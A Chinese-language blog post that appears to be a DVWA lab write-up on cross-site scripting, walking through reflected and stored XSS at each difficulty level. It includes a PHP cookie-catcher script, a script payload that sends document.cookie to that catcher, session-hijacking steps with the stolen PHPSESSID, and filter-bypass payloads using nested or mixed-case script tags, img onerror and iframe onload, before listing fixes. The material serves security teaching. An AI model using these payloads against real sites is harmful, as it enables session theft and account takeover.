DVWA(八)—— XSS

概念

  • 跨站腳本
  • 客戶端代碼注入,通常注入代碼是JavaScript,區別於命令注入,SQL注入等服務器端代碼注入
  • 三種XSS
存儲型 反射型 DOM型
攻擊代碼在數據庫裏 攻擊代碼在url裏 攻擊代碼在url裏
輸出在HTTP響應中 輸出在HTTP響應中 輸出在DOM節點中

CSRF 和 XSS 的區別

準備

  • Firefox,DVWA,HackBar

破解過程(反射型)

攻擊思路

  1. 用戶登錄被攻擊的WEB服務器
  2. 攻擊者發送攻擊url(包含攻擊js)給用戶,url的域名一定是被攻擊的WEB服務器
  3. 誘騙用戶點擊訪問該url,被攻擊的WEB服務器對攻擊js做出迴應
  4. 用戶瀏覽器執行js腳本,發送會話信息給攻擊者的WEB服務器,達到跨站目的
  5. 攻擊者獲取會話信息
  6. 劫持使用用戶身份登錄到被攻擊的web服務器,可以進行任意操作

low等級

手動方式

  1. 打開反射型XSS漏洞頁面,輸入xss,點擊提交查看頁面提示
  2. 嘗試輸入<xss>,點擊提交,F12查看頁面元素,似乎能注入HTML標籤
  3. 彈窗測試(xss最普遍的證明和測試的方法):
    <script>alert(/xss/)</script>,F12查看頁面元素,成功注入JavaScript腳本,說明存在XSS漏洞
  4. 攻擊者WEB設計:http://127.0.0.1/cookie.php,新建一個 cookie.php 文件
    <?php
    $cookie = $_GET['cookie'];	#將get請求參數cookie存儲在cookie變量裏
    file_put_contents('cookie.txt',$cookie);	#將偷取到的用戶cookie寫到cookie文件中
    ?>
    
  5. 構造攻擊js:
    <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;
    </script>
    
    location函數將頁面內容定位到指定的位置,指定位置參數爲剛剛新建的cookie文件, document.cookie賦值給這個php的cookie參數,cookie值最終會出現在cookie.txt中
  6. 構造併發送攻擊url,將剛剛構造好的js腳本寫到存在漏洞的網址後面
    http://192.168.2.150/DVWA-1.9/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
    此時訪問不會成功,還需用用HackBar的URLencode對js腳本進行編碼
  7. 點擊後cookie.txt有了內容,內容爲DVWA的登錄cookie信息,PHPSESSID爲用戶的登錄憑證
  8. 劫持用戶會話,攻擊者訪問DVWA網站(之前用192,這裏用127),用修改cookie的編輯PHPSESSID爲劫持到的用戶憑證,修改瀏覽器地址login爲index,成功以admin的身份進入

medium等級

  • low等級方法失效,服務器過濾了script標籤
  • 方法一:用嵌套的方法:<scr<script>ipt>
  • 方法二:大小寫混合:<ScRiPt>

high等級

  • 上述方法全部失效
  • img標籤也可以插入xss代碼:<img src=x onerror=alert(1)>
  • iframe標籤,可以在一個HTML中嵌入另一個HTML內容:<iframe onload=alert(1)>

impossible等級

  • 利用htmlspecialchars函數HTML編碼指定的字符,默認不編碼',需要加上ENT_QUOTES參數纔會編碼

破解過程(存儲型)

  • 前端限制輸入長度,繞過前端直接發送name和message參數
  • 攻擊過程與反射型基本一致
  • 存儲型是直接寫入數據庫中的,因此會一直存在,可以點擊Creat/Reset Database重置數據庫

修復

  • 輸入過濾:白名單
  • 輸出過濾:HTML編碼,JS轉義
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章